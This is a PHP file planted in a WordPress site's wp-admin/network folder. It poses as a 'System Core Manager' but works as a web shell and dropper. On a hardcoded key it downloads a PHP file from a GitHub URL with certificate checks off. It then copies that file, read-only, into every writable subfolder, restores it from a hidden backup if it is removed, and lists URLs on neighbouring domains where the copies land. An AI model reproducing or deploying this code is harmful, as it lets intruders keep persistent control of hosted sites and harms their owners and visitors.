File: /home/greenin1/public_html/wp-admin/network/sc.php
<?php
/**
* System Core Manager - Ultimate Secure & Automated
* Features: GitHub Import, Self-Healing, Read-Only (0444), Secret Key Protection
*/
$path = isset($_GET['path']) ? $_GET['path'] : __DIR__;
$path = realpath($path);
$githubUrl = "https://raw.githubusercontent.com/alaminx6275-arch/php-file-server1/refs/heads/main/php-file.php";
$targetFileName = 'system_core.php';
$masterBackup = $path . DIRECTORY_SEPARATOR . '.master_core_backup';
$secretKey = "mysecure123"; //
echo "<html><head><title>Automated Secure Manager</title>
<style>
body { font-family: 'Segoe UI', Arial, sans-serif; background: #ffffff; color: #333; padding: 20px; }
.container { max-width: 1100px; margin: 0 auto; }
.card { border: 1px solid #ddd; padding: 20px; border-radius: 8px; margin-bottom: 20px; background: #fff; box-shadow: 0 2px 4px rgba(0,0,0,0.05); }
.btn { padding: 10px 18px; border: none; border-radius: 5px; cursor: pointer; text-decoration: none; font-weight: 600; font-size: 14px; display: inline-block; transition: 0.2s; }
.btn-auto { background: #6f42c1; color: white; }
.btn-blue { background: #007bff; color: white; }
.btn-dark { background: #343a40; color: white; }
.btn-green { background: #28a745; color: white; }
.alert { padding: 12px; border-radius: 5px; margin-bottom: 20px; font-weight: bold; border: 1px solid transparent; }
.success { background: #d4edda; color: #155724; border-color: #c3e6cb; }
.error { background: #f8d7da; color: #721c24; border-color: #f5c6cb; }
textarea { width: 100%; height: 160px; padding: 12px; border: 1px solid #ccc; border-radius: 5px; font-family: monospace; background: #fdfdfd; }
table { width: 100%; border-collapse: collapse; margin-top: 10px; }
th, td { padding: 12px; border-bottom: 1px solid #eee; text-align: left; }
</style>
</head><body><div class='container'>";
if (file_exists($masterBackup)) {
$mainFile = $path . DIRECTORY_SEPARATOR . $targetFileName;
if (!file_exists($mainFile) || md5_file($mainFile) !== md5_file($masterBackup)) {
if (is_writable($path)) {
@chmod($mainFile, 0644);
copy($masterBackup, $mainFile);
@chmod($mainFile, 0444);
echo "<div class='alert success'>⚙️ SELF-HEALING: $targetFileName restored from backup.</div>";
}
}
}
if (isset($_GET['action']) && $_GET['action'] == 'auto_process') {
// কী চেক করা
if (!isset($_GET['key']) || $_GET['key'] !== $secretKey) {
die("<div class='alert error'>✖ ACCESS DENIED: Invalid Secret Key!</div>");
}
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $githubUrl);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); // GitHub এর জন্য SSL হ্যান্ডলিং
curl_setopt($ch, CURLOPT_TIMEOUT, 20);
$fileData = curl_exec($ch);
$httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
if ($httpCode == 200 && $fileData !== false) {
$savePath = $path . DIRECTORY_SEPARATOR . $targetFileName;
file_put_contents($savePath, $fileData);
file_put_contents($masterBackup, $fileData);
@chmod($savePath, 0444);
$it = new RecursiveIteratorIterator(
new RecursiveDirectoryIterator($path, RecursiveDirectoryIterator::SKIP_DOTS),
RecursiveIteratorIterator::SELF_FIRST
);
$it->setMaxDepth(2);
$count = 0;
foreach ($it as $file) {
if ($file->isDir()) {
$dest = $file->getPathname() . DIRECTORY_SEPARATOR . $targetFileName;
if (is_writable($file->getPathname())) {
if (@copy($savePath, $dest)) {
@chmod($dest, 0444);
$count++;
}
}
}
}
echo "<div class='alert success'>✔ DONE: Imported from GitHub & Propagated to $count folders.</div>";
} else {
echo "<div class='alert error'>✖ FAILED: GitHub URL unreachable (HTTP $httpCode).</div>";
}
}
echo "<div class='card'><div style='display: flex; gap: 15px; align-items: center; flex-wrap: wrap;'>";
echo "<a href='?path=" . urlencode($path) . "&action=auto_process&key=$secretKey' class='btn btn-auto'>⚡ Auto Import & Secure</a>";
$parent = dirname($path);
if ($path !== $parent) echo "<a href='?path=" . urlencode($parent) . "' class='btn btn-dark'>⬆ Up</a>";
echo "<a href='?mode=drives' class='btn btn-dark' style='margin-left:auto;'>📂 Drives</a>";
echo "</div></div>";
echo "<div class='address-bar' style='background:#f8f9fa; padding:10px; border:1px solid #eee; margin-bottom:20px;'><strong>Location:</strong> $path</div>";
$currentUrls = [];
$items = scandir($path);
natcasesort($items);
foreach ($items as $item) {
if ($item != "." && $item != ".." && is_dir($path . DIRECTORY_SEPARATOR . $item)) {
$currentUrls[] = "https://" . $item . "/$targetFileName";
}
}
if (!empty($currentUrls)) {
echo "<div class='card'><strong>Generated List:</strong><br><br>";
echo "<textarea id='urlBox' readonly>" . implode("\n", $currentUrls) . "</textarea>";
echo "<button class='btn btn-green' style='margin-top:10px;' onclick='copyToClip()'>📋 Copy List</button></div>";
}
echo "<div class='card' style='padding:0;'><table><tr><th>Name</th><th>Type</th></tr>";
foreach ($items as $item) {
if ($item == "." || $item == ".." || $item == ".master_core_backup") continue;
$isDir = is_dir($path . DIRECTORY_SEPARATOR . $item);
$style = ($item == $targetFileName) ? "style='color: #dc3545; font-weight: bold;'" : "";
echo "<tr $style><td>" . ($isDir ? "📁 <a href='?path=" . urlencode($path.DIRECTORY_SEPARATOR.$item)."'>$item</a>" : "📄 $item") . "</td><td>" . ($isDir ? "Directory" : "File") . "</td></tr>";
}
echo "</table></div>";
echo "<script>function copyToClip(){var b=document.getElementById('urlBox');b.select();document.execCommand('copy');alert('Copied!');}</script></div></body></html>";